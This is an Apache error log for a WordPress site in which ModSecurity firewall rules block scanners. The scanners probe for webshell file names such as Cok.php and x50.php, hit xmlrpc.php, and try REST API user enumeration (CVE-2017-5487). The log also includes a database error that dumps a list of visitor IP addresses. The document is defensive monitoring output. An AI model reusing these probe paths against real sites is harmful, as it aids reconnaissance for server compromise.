[Tue Nov 25 21:23:33.719880 2025] [:error] [pid 43843:tid 43854] [client 4.241.179.168:39913] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aSWt1Rhx4v3NUNdMKDPvDQAAAck"]
[Tue Nov 25 21:23:35.583613 2025] [:error] [pid 43843:tid 43851] [client 4.241.179.168:39904] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aSWt1xhx4v3NUNdMKDPvEgAAAcY"]
[Tue Nov 25 21:23:38.794762 2025] [:error] [pid 43981:tid 44004] [client 4.241.179.168:39887] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aSWt2ggZn97m_qh_RaFgdwAAAxU"]
[Tue Nov 25 21:23:40.558054 2025] [:error] [pid 14077:tid 14131] [client 4.241.179.168:39914] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-advaced.php"] [unique_id "aSWt3BG9n7UHEkwDTyjDkAAAAFU"]
[Tue Nov 25 21:23:42.623177 2025] [:error] [pid 14078:tid 14153] [client 4.241.179.168:39928] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSWt3tVXYbb0ii_rVoJxIgAAAJA"]
[Tue Nov 25 21:23:43.078483 2025] [:error] [pid 14078:tid 14154] [client 4.241.179.168:39383] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSWt39VXYbb0ii_rVoJxJAAAAJE"]
[Tue Nov 25 21:23:43.472200 2025] [:error] [pid 14078:tid 14157] [client 4.241.179.168:39408] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSWt39VXYbb0ii_rVoJxJwAAAJQ"]
[Tue Nov 25 21:23:43.771383 2025] [:error] [pid 2987:tid 2992] [client 4.241.179.168:39821] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/poliomyelopathy.php"] [unique_id "aSWt38-djEt-pTzPxnzEpgAAAUM"]
[Tue Nov 25 21:23:44.644673 2025] [:error] [pid 2987:tid 2997] [client 4.241.179.168:39379] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aSWt4M-djEt-pTzPxnzEpwAAAUg"]
[Tue Nov 25 21:23:45.623504 2025] [:error] [pid 28836:tid 28955] [client 4.241.179.168:39895] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "aSWt4ZwNRsoxcLQGkTfiewAAAsA"]
[Tue Nov 25 22:34:42.871065 2025] [:error] [pid 14078:tid 14146] [client 120.71.59.24:50899] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSW-gtVXYbb0ii_rVoKavAAAAIk"]
[Tue Nov 25 23:13:40.249874 2025] [autoindex:error] [pid 14078:tid 14157] [client 139.59.30.253:54829] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Nov 25 23:30:19.011625 2025] [:error] [pid 43843:tid 43847] [client 103.70.82.145:58873] [client 103.70.82.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.70.82.145, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSXLixhx4v3NUNdMKDMQJAAAAcI"], referer: https://vetstars.com.au/
[Tue Nov 25 23:56:56.451632 2025] [proxy_fcgi:error] [pid 28739:tid 28785] [client 66.249.64.66:57540] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2773:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...'
[Wed Nov 26 00:50:26.215836 2025] [:error] [pid 14078:tid 14150] [client 34.73.198.142:60517] [client 34.73.198.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.198.142, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSXeUtVXYbb0ii_rVoLa4QAAAI0"]
[Wed Nov 26 00:50:29.317783 2025] [:error] [pid 14078:tid 14145] [client 34.73.198.142:60517] [client 34.73.198.142] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSXeVdVXYbb0ii_rVoLa7wAAAIg"]
[Wed Nov 26 00:50:32.163245 2025] [:error] [pid 14078:tid 14149] [client 34.73.198.142:60517] [client 34.73.198.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.198.142, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSXeWNVXYbb0ii_rVoLa9wAAAIw"]
[Wed Nov 26 00:57:30.713745 2025] [autoindex:error] [pid 14077:tid 14125] [client 172.207.189.235:21391] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Nov 26 00:58:10.712777 2025] [:error] [pid 2987:tid 3001] [client 172.207.189.235:21473] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aSXgIs-djEt-pTzPxnwAZwAAAUw"]
[Wed Nov 26 00:58:11.017512 2025] [:error] [pid 2987:tid 2999] [client 172.207.189.235:21442] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aSXgI8-djEt-pTzPxnwAaAAAAUo"]
[Wed Nov 26 00:58:11.322098 2025] [:error] [pid 28739:tid 28786] [client 172.207.189.235:21459] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aSXgIxxGpKmlkG4FexT2YQAAAhg"]
[Wed Nov 26 00:58:11.602743 2025] [:error] [pid 14077:tid 14124] [client 172.207.189.235:21447] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aSXgIxG9n7UHEkwDTygFAQAAAE4"]
[Wed Nov 26 00:58:11.893328 2025] [:error] [pid 14168:tid 14181] [client 172.207.189.235:21467] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cok.php"] [unique_id "aSXgI_R-ZDU0QEgAIIu9bwAAAMo"]
[Wed Nov 26 00:58:12.155859 2025] [:error] [pid 14168:tid 14195] [client 172.207.189.235:21469] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cok.php"] [unique_id "aSXgJPR-ZDU0QEgAIIu9cAAAANg"]
[Wed Nov 26 00:58:12.437892 2025] [:error] [pid 43843:tid 43851] [client 172.207.189.235:21481] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cok.php"] [unique_id "aSXgJBhx4v3NUNdMKDMh-AAAAcY"]
[Wed Nov 26 00:58:12.697777 2025] [:error] [pid 14076:tid 14085] [client 172.207.189.235:21384] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cok.php"] [unique_id "aSXgJHsB4Gz6Qw-pvBuANgAAAAQ"]
[Wed Nov 26 00:58:12.972261 2025] [:error] [pid 14168:tid 14186] [client 172.207.189.235:21397] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aSXgJPR-ZDU0QEgAIIu9dQAAAM8"]
[Wed Nov 26 00:58:13.222626 2025] [:error] [pid 14078:tid 14161] [client 172.207.189.235:21457] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aSXgJdVXYbb0ii_rVoLfwQAAAJg"]
[Wed Nov 26 00:58:13.517505 2025] [:error] [pid 14076:tid 14097] [client 172.207.189.235:21404] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aSXgJXsB4Gz6Qw-pvBuANwAAABA"]
[Wed Nov 26 00:58:13.837196 2025] [:error] [pid 43843:tid 43850] [client 172.207.189.235:21449] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aSXgJRhx4v3NUNdMKDMh-gAAAcU"]
[Wed Nov 26 00:58:14.097836 2025] [:error] [pid 28836:tid 29006] [client 172.207.189.235:21377] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ot.php"] [unique_id "aSXgJpwNRsoxcLQGkTcdRAAAAtA"]
[Wed Nov 26 00:58:14.343472 2025] [:error] [pid 28739:tid 28781] [client 172.207.189.235:21451] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ot.php"] [unique_id "aSXgJhxGpKmlkG4FexT2ZQAAAhM"]
[Wed Nov 26 00:58:14.668005 2025] [:error] [pid 2987:tid 2989] [client 172.207.189.235:21492] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ot.php"] [unique_id "aSXgJs-djEt-pTzPxnwAbwAAAUA"]
[Wed Nov 26 00:58:15.138628 2025] [:error] [pid 28836:tid 28961] [client 172.207.189.235:21386] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ot.php"] [unique_id "aSXgJ5wNRsoxcLQGkTcdRQAAAsY"]
[Wed Nov 26 00:58:15.471290 2025] [:error] [pid 28609:tid 28639] [client 172.207.189.235:21385] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aSXgJyGGdT-nZJVs3x0qhgAAAZU"]
[Wed Nov 26 00:58:15.772368 2025] [:error] [pid 28609:tid 28622] [client 172.207.189.235:21376] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aSXgJyGGdT-nZJVs3x0qiQAAAYQ"]
[Wed Nov 26 00:58:16.035476 2025] [:error] [pid 14078:tid 14141] [client 172.207.189.235:21420] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aSXgKNVXYbb0ii_rVoLfxgAAAIQ"]
[Wed Nov 26 00:58:16.320760 2025] [:error] [pid 14076:tid 14102] [client 172.207.189.235:21381] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aSXgKHsB4Gz6Qw-pvBuAQgAAABU"]
[Wed Nov 26 00:58:16.630744 2025] [:error] [pid 28836:tid 29013] [client 172.207.189.235:21479] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aSXgKJwNRsoxcLQGkTcdRwAAAtc"]
[Wed Nov 26 00:58:16.937903 2025] [:error] [pid 14168:tid 14176] [client 172.207.189.235:21379] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aSXgKPR-ZDU0QEgAIIu9ewAAAMU"]
[Wed Nov 26 00:58:17.166123 2025] [:error] [pid 14078:tid 14154] [client 172.207.189.235:21407] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aSXgKdVXYbb0ii_rVoLfzwAAAJE"]
[Wed Nov 26 00:58:17.394827 2025] [:error] [pid 14168:tid 14174] [client 172.207.189.235:21455] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lx.php"] [unique_id "aSXgKfR-ZDU0QEgAIIu9fQAAAMM"]
[Wed Nov 26 00:58:17.633681 2025] [:error] [pid 14168:tid 14190] [client 172.207.189.235:21382] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w1w.php"] [unique_id "aSXgKfR-ZDU0QEgAIIu9fgAAANM"]
[Wed Nov 26 00:58:17.874810 2025] [:error] [pid 14168:tid 14188] [client 172.207.189.235:21378] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w1w.php"] [unique_id "aSXgKfR-ZDU0QEgAIIu9gAAAANE"]
[Wed Nov 26 00:58:18.109540 2025] [:error] [pid 28836:tid 28967] [client 172.207.189.235:21489] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w1w.php"] [unique_id "aSXgKpwNRsoxcLQGkTcdSAAAAsw"]
[Wed Nov 26 00:58:18.359489 2025] [:error] [pid 14078:tid 14137] [client 172.207.189.235:21484] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w1w.php"] [unique_id "aSXgKtVXYbb0ii_rVoLf2AAAAIA"]
[Wed Nov 26 00:58:18.669232 2025] [:error] [pid 28836:tid 28957] [client 172.207.189.235:21470] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aSXgKpwNRsoxcLQGkTcdSQAAAsI"]
[Wed Nov 26 00:58:18.897000 2025] [:error] [pid 14078:tid 14142] [client 172.207.189.235:21388] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aSXgKtVXYbb0ii_rVoLf3AAAAIU"]
[Wed Nov 26 00:58:19.147760 2025] [:error] [pid 28836:tid 28968] [client 172.207.189.235:21326] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aSXgK5wNRsoxcLQGkTcdSwAAAs0"]
[Wed Nov 26 00:58:19.378249 2025] [:error] [pid 28609:tid 28632] [client 172.207.189.235:21498] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cafe.php"] [unique_id "aSXgKyGGdT-nZJVs3x0qkAAAAY4"]
[Wed Nov 26 00:58:19.607110 2025] [:error] [pid 14078:tid 14144] [client 172.207.189.235:21389] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aSXgK9VXYbb0ii_rVoLf4AAAAIc"]
[Wed Nov 26 00:58:19.860776 2025] [:error] [pid 14078:tid 14138] [client 172.207.189.235:21438] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aSXgK9VXYbb0ii_rVoLf4gAAAIE"]
[Wed Nov 26 00:58:20.088075 2025] [:error] [pid 28609:tid 28637] [client 172.207.189.235:21482] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aSXgLCGGdT-nZJVs3x0qlwAAAZM"]
[Wed Nov 26 00:58:20.357086 2025] [:error] [pid 28836:tid 28960] [client 172.207.189.235:21483] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww2.php"] [unique_id "aSXgLJwNRsoxcLQGkTcdUQAAAsU"]
